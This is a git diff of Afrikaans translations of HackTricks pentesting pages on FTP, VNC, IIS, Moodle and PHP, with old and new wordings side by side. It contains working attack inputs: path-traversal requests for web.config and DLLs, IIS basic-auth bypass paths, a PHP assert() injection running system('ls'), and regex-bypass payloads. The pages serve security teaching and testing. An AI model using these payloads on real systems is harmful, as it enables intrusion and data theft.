In elk geval, hier het jy 'n [ou voorbeeld oor hoe om dit te misbruik om 'n FTP-bediener 'n lêer van 'n ander FTP-bediener af te laai.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla Bediener Kwesbaarheid
|
||||
|
||||
**FileZilla** bind gewoonlik **lokale** aan 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tunnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en **'n nuwe gebruiker** vir die FTP-diens **skep**.
|
||||
**FileZilla** bind gewoonlik **lokal** 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tonnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en **'n nuwe gebruiker** vir die FTP-diens skep.
|
||||
|
||||
## Konfig-lêers
|
||||
```
|
||||
@ -194,8 +194,8 @@ Die standaardkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hier
|
||||
- `anon_root=/home/username/ftp` - Gids vir anonieme gebruikers.
|
||||
- `chown_uploads=YES` - Verander eienaarskap van anoniem opgelaaide lêers
|
||||
- `chown_username=username` - Gebruiker wat eienaarskap van anoniem opgelaaide lêers ontvang
|
||||
- `local_enable=YES` - Stel plaaslike gebruikers in staat om aan te meld
|
||||
- `no_anon_password=YES` - Vra nie anonieme gebruikers vir 'n wagwoord nie
|
||||
- `local_enable=YES` - Aktiveer plaaslike gebruikers om in te log
|
||||
- `no_anon_password=YES` - Moet nie anonieme gebruikers om 'n wagwoord vra nie
|
||||
- `write_enable=YES` - Laat opdragte toe: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, en SITE
|
||||
|
||||
### Shodan
|
||||
@ -203,7 +203,7 @@ Die standaardkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hier
|
||||
- `ftp`
|
||||
- `port:21`
|
||||
|
||||
## HackTricks Automatiese Opdragte
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 21 #Comma separated if there is more than one.
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**Virtual Network Computing (VNC)** is 'n robuuste grafiese lessenaardeelstelsel wat die **Remote Frame Buffer (RFB)** protokol gebruik om afstandbeheer en samewerking met 'n ander rekenaar moontlik te maak. Met VNC kan gebruikers naatloos met 'n afstandrekenaar interaksie hê deur sleutelbord- en muisgebeurtenisse bidireksioneel oor te dra. Dit stel in staat tot regstreekse toegang en fasiliteer doeltreffende afstandshelp of samewerking oor 'n netwerk.
|
||||
@ -19,28 +18,29 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
|
||||
```
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#vnc)
|
||||
|
||||
## Verbinde met vnc met Kali
|
||||
## Verbinding maak met vnc met Kali
|
||||
```bash
|
||||
vncviewer [-passwd passwd.txt] <IP>::5901
|
||||
```
|
||||
## Ontsleuteling van VNC-wagwoord
|
||||
## Decrypting VNC password
|
||||
|
||||
Standaard **wagwoord word gestoor** in: \~/.vnc/passwd
|
||||
Standaard **wagwoord is gestoor** in: \~/.vnc/passwd
|
||||
|
||||
As jy die VNC-wagwoord het en dit lyk versleuteld ('n paar bytes, soos as dit 'n versleutelde wagwoord kan wees), is dit waarskynlik met 3des versleuteld. Jy kan die duidelike teks wagwoord kry met behulp van [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
As jy die VNC-wagwoord het en dit lyk versleuteld ('n paar bytes, soos as dit 'n versleutelde wagwoord kan wees), is dit waarskynlik met 3des versleuteld. Jy kan die duidelike teks wagwoord kry met [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
```bash
|
||||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
Jy kan dit doen omdat die wagwoord wat binne 3des gebruik is om die gewone teks VNC wagwoorde te enkripteer, jare gelede omgekeer is.\
|
||||
Jy kan dit doen omdat die wagwoord wat binne 3des gebruik word om die gewone teks VNC wagwoorde te enkripteer, jare gelede omgekeer is.\
|
||||
Vir **Windows** kan jy ook hierdie hulpmiddel gebruik: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Ek stoor die hulpmiddel hier ook vir maklike toegang:
|
||||
|
||||
{% file src="../images/vncpwd.zip" %}
|
||||
{{#file}}
|
||||
vncpwd.zip
|
||||
{{#endfile}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5900 RFB`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -9,7 +9,7 @@ Toets uitvoerbare lêer uitbreidings:
|
||||
- config
|
||||
- php
|
||||
|
||||
## Interne IP-adres openbaarmaking
|
||||
## Interne IP-adres bekendmaking
|
||||
|
||||
Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verwyder en HTTP/1.0 te gebruik, en binne die antwoord kan die Location-kop jou na die interne IP-adres lei:
|
||||
```
|
||||
@ -29,15 +29,17 @@ X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
## Voer .config lêers uit
|
||||
|
||||
Jy kan .config lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen, is om die kode aan die einde van die lêer binne 'n HTML-kommentaar te voeg: [Download voorbeeld hier](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
Jy kan .config lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer binne 'n HTML kommentaar te voeg: [Download voorbeeld hier](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
Meer inligting en tegnieke om hierdie kwesbaarheid te benut [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
Meer inligting en tegnieke om hierdie kwesbaarheid te ontgin [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
## IIS Ontdekking Bruteforce
|
||||
|
||||
Laai die lys af wat ek geskep het:
|
||||
|
||||
{% file src="../../images/iisfinal.txt" %}
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
Dit is geskep deur die inhoud van die volgende lyste te kombineer:
|
||||
|
||||
@ -48,11 +50,11 @@ Dit is geskep deur die inhoud van die volgende lyste te kombineer:
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||
|
||||
Gebruik dit sonder om enige uitbreiding by te voeg, die lêers wat dit benodig, het dit reeds.
|
||||
Gebruik dit sonder om enige uitbreiding by te voeg, die lêers wat dit benodig het dit reeds.
|
||||
|
||||
## Pad Traversal
|
||||
|
||||
### Lekke bronkode
|
||||
### Lek van bronkode
|
||||
|
||||
Kyk na die volledige skrywe in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
@ -70,12 +72,12 @@ In **.Net MVC aansoeke**, speel die **web.config** lêer 'n belangrike rol deur
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
Hierdie versoek openbaar verskeie instellings en afhanklikhede, soos:
|
||||
Hierdie versoek onthul verskeie instellings en afhanklikhede, soos:
|
||||
|
||||
- **EntityFramework** weergawe
|
||||
- **AppSettings** vir webbladsye, kliëntvalidasie, en JavaScript
|
||||
- **System.web** konfigurasies vir outentisering en runtime
|
||||
- **System.webServer** module instellings
|
||||
- **System.webServer** modules instellings
|
||||
- **Runtime** assembly bindings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc**
|
||||
|
||||
Hierdie instellings dui aan dat sekere lêers, soos **/bin/WebGrease.dll**, geleë is binne die toepassing se /bin gids.
|
||||
@ -93,7 +95,7 @@ Host: example-mvc-application.minded
|
||||
```
|
||||
### **Aflaai van DLL's**
|
||||
|
||||
Die vermelding van 'n pasgemaakte naamruimte dui op 'n DLL genaamd "**WebApplication1**" wat in die /bin-gids teenwoordig is. Na hierdie, word 'n versoek om die **WebApplication1.dll** af te laai, getoon:
|
||||
Die vermelding van 'n pasgemaakte naamruimte dui op 'n DLL genaamd "**WebApplication1**" wat in die /bin-gids teenwoordig is. Na hierdie, word 'n versoek om die **WebApplication1.dll** af te laai, gewys:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -185,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
As jy 'n fout soos die volgende sien:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Dit beteken dat die bediener **nie die korrekte domeinnaam** binne die Host-header ontvang het.\
|
||||
Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifikaat** en dalk kan jy die domein/subdomeinnaam daar vind. As dit nie daar is nie, mag jy **brute force VHosts** moet gebruik totdat jy die korrekte een vind.
|
||||
@ -194,24 +196,24 @@ Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifika
|
||||
|
||||
### Microsoft IIS tilde karakter “\~” Kwesbaarheid/Funksie – Korte Lêer/Map Naam Ontsluiting
|
||||
|
||||
Jy kan probeer om **mappe en lêers** binne elke ontdekte map te **enumerate** (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\
|
||||
Die hoofbeperking van hierdie tegniek as die bediener kwesbaar is, is dat dit **slegs tot die eerste 6 letters van die naam van elke lêer/map en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
|
||||
Jy kan probeer om **mappen en lêers** binne elke ontdekte map te **enumerate** (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\
|
||||
Die hoofbeperking van hierdie tegniek, as die bediener kwesbaar is, is dat dit **slegs tot die eerste 6 letters van die naam van elke lêer/map en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
|
||||
|
||||
Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
.png>)
|
||||
|
||||
Originele navorsing: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||
Oorspronklike navorsing: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||
|
||||
Jy kan ook **metasploit** gebruik: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
'n Goeie idee om die **finale naam** van die ontdekte lêers te **vind**, is om **LLMs** vir opsies te vra soos dit in die skrif [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) gedoen word.
|
||||
'n Goeie idee om die **finale naam** van die ontdekte lêers te **vind** is om **LLMs** vir opsies te **vraag** soos dit in die skrif [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) gedoen word.
|
||||
|
||||
### Basiese Verifikasie omseiling
|
||||
|
||||
**Omseil** 'n basiese verifikasie (**IIS 7.5**) deur te probeer om toegang te verkry tot: `/admin:$i30:$INDEX_ALLOCATION/admin.php` of `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
Jy kan probeer om hierdie **kwesbaarheid** en die laaste een te **meng** om nuwe **mappe** te vind en die verifikasie te **omseil**.
|
||||
Jy kan probeer om hierdie **kwesbaarheid** en die laaste een te **meng** om nuwe **mappen** te vind en die verifikasie te **omseil**.
|
||||
|
||||
## ASP.NET Trace.AXD geaktiveerde foutopsporing
|
||||
|
||||
@ -231,10 +233,10 @@ ASPXAUTH gebruik die volgende inligting:
|
||||
|
||||
- **`validationKey`** (string): hex-gecodeerde sleutel om te gebruik vir handtekeningvalidasie.
|
||||
- **`decryptionMethod`** (string): (standaard “AES”).
|
||||
- **`decryptionIV`** (string): hex-gecodeerde inisialiseringvektor (standaard na 'n vektor van nulles).
|
||||
- **`decryptionIV`** (string): hex-gecodeerde inisialisering vektor (standaard na 'n vektor van nulles).
|
||||
- **`decryptionKey`** (string): hex-gecodeerde sleutel om te gebruik vir ontsleuteling.
|
||||
|
||||
Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die **koekie van die tweede bediener in die eerste een** te gebruik en die gebruiker na te boots.\
|
||||
Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die koekie van die tweede bediener in die eerste een te **gebruik** en die gebruiker na te boots.\
|
||||
Hierdie aanval het gewerk in hierdie [**skrywe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## IIS Verifikasie Omseiling met gekapte wagwoorde (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Outomatiese Skande
|
||||
|
||||
### droopescan
|
||||
@ -63,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
Ek het gevind dat die outomatiese gereedskap redelik **onbruikbaar is om kwesbaarhede wat die moodle weergawe raak, te vind**. Jy kan **kontroleer** daarvoor in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
Ek het gevind dat die outomatiese gereedskap redelik **nutteloos is om kwesbaarhede wat die moodle weergawe raak, te vind**. Jy kan **kontroleer** daarvoor in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
|
||||
## **RCE**
|
||||
|
||||
@ -73,9 +72,11 @@ Jy moet 'n **bestuurder** rol hê en jy **kan plugins installeer** binne die **"
|
||||
|
||||
As jy 'n bestuurder is, mag jy steeds hierdie **opsie moet aktiveer**. Jy kan sien hoe in die moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Dan kan jy die **volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voor jy dit op laai, moet jy dit ontbind, die IP en poort van die revshell verander en dit weer saampers_)
|
||||
Dan kan jy **die volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voor jy dit op laai, moet jy dit ontbind, die IP en poort van die revshell verander en dit weer saamdruk_)
|
||||
|
||||
{% file src="../../images/moodle-rce-plugin.zip" %}
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
Of jy kan die plugin van [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) gebruik om 'n gewone PHP shell met die "cmd" parameter te kry.
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Koekies algemene ligging:
|
||||
|
||||
Dit geld ook vir phpMyAdmin koekies.
|
||||
@ -12,7 +11,7 @@ Koekies:
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
```
|
||||
Liggings:
|
||||
Lokasies:
|
||||
```
|
||||
/var/lib/php/sessions
|
||||
/var/lib/php5/
|
||||
@ -23,19 +22,21 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
|
||||
### Los vergelykings/Tipe Juggling ( == )
|
||||
|
||||
As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag werk nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
|
||||
As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie gedraai soos verwag nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
|
||||
|
||||
PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer
|
||||
- `"0xAAAA" == "43690" -> True` Strings wat uit nommers in desimale of hex formaat bestaan, kan met ander nommers/strings vergelyk word met True as resultaat as die nommers dieselfde was (nommers in 'n string word as nommers geïnterpreteer)
|
||||
- `"0xAAAA" == "43690" -> True` Strings wat uit nommers in desimale of heksadesimale formaat bestaan, kan met ander nommers/strings vergelyk word met True as resultaat as die nommers dieselfde was (nommers in 'n string word as nommers geïnterpreteer)
|
||||
- `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0
|
||||
- `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0
|
||||
- `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehas is en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehasht word en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan **reeds gehashede strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0
|
||||
|
||||
Meer inligting in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
@ -69,7 +70,7 @@ Selfs al word `===` **gebruik** kan daar foute wees wat die **vergelyking kwesba
|
||||
```
|
||||
### preg_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** kan gebruik word om **gebruikersinvoer** te **valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** **teenwoordig** is in die **gebruikersinvoer** en as dit nie is nie, kan die kode sy uitvoering voortset).
|
||||
**`preg_match()`** kan gebruik word om **gebruikersinvoer** te **valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** **teenwoordig** is in die **gebruikersinvoer** en as dit nie is nie, kan die kode voortgaan met sy uitvoering).
|
||||
|
||||
#### Nuwe lyn omseiling
|
||||
|
||||
@ -97,7 +98,7 @@ Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://r
|
||||
#### **Lengte fout omseiling**
|
||||
|
||||
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\
|
||||
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
|
||||
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, sal dit **nie in staat wees om dit te verwerk nie** en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -112,7 +113,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||
In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas.
|
||||
|
||||
[Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
|
||||
**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` laat wees om SSTI --> RCE --> vlag :)**.
|
||||
**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, en sodoende die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` laat wees om SSTI --> RCE --> vlag :)**.
|
||||
|
||||
Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard op 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\
|
||||
Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer:
|
||||
@ -132,7 +133,7 @@ $obfs += ""; //int 7
|
||||
```
|
||||
## Voer Uit Na Oorplasing (EAR)
|
||||
|
||||
As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie word **na die kop `Location`** gestel nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
|
||||
As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die kop `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
@ -153,9 +154,9 @@ Kontroleer:
|
||||
## Meer truuks
|
||||
|
||||
- **register_globals**: In **PHP < 4.1.1.1** of as verkeerd geconfigureer, kan **register_globals** aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes\*\* wat binne die kode gebruik word oorskryf.
|
||||
- Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as daar binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang gee deur die waarde van die ander pad koekie in te stel.\
|
||||
Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 van toepassing is op pad2**. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2).
|
||||
- Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\<USERNAME>** om te sien of die php gidse geaktiveer is.
|
||||
- Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang gee deur die waarde van die ander pad koekie in te stel.\
|
||||
Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 op pad2 van toepassing is**. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2).
|
||||
- Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\<USERNAME>** om te sien of die php directories geaktiveer is.
|
||||
- [**LFI en RCE met behulp van php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
@ -181,10 +182,10 @@ Dit laat toe om byvoorbeeld CSP headers te omseil wat in kodes soos:
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Vul 'n liggaam in voordat jy kopstukke stel
|
||||
#### Vul 'n liggaam in voordat jy koptekste stel
|
||||
|
||||
As 'n **PHP-bladsy foute druk en terugvoer gee van sommige invoer wat deur die gebruiker verskaf is**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud wat lank genoeg is** te druk sodat wanneer dit probeer om die **kopstukke** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
|
||||
In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopstuk-inligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kopstuk nie aan die gebruiker gestuur is):
|
||||
As 'n **PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud wat lank genoeg is** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
|
||||
In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopinligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kop nie aan die gebruiker gestuur is nie):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -222,14 +223,14 @@ Hierdie opsie van preg_replace is **verouderd sedert PHP 5.5.0.**
|
||||
```
|
||||
### **RCE via Assert()**
|
||||
|
||||
Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is'** uit te voer om **waar of vals te retourneer** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
|
||||
Hierdie funksie binne php laat jou toe om **kode wat in 'n string' geskryf is uit te voer** ten einde **waar of vals te retourneer** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te verkry kan jy doen:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
U sal die **kode** **syntaksis** moet **breek**, u **payload** **byvoeg**, en dit dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" wat nie werk nie omdat ons payload nie uitgevoer sal word nie.
|
||||
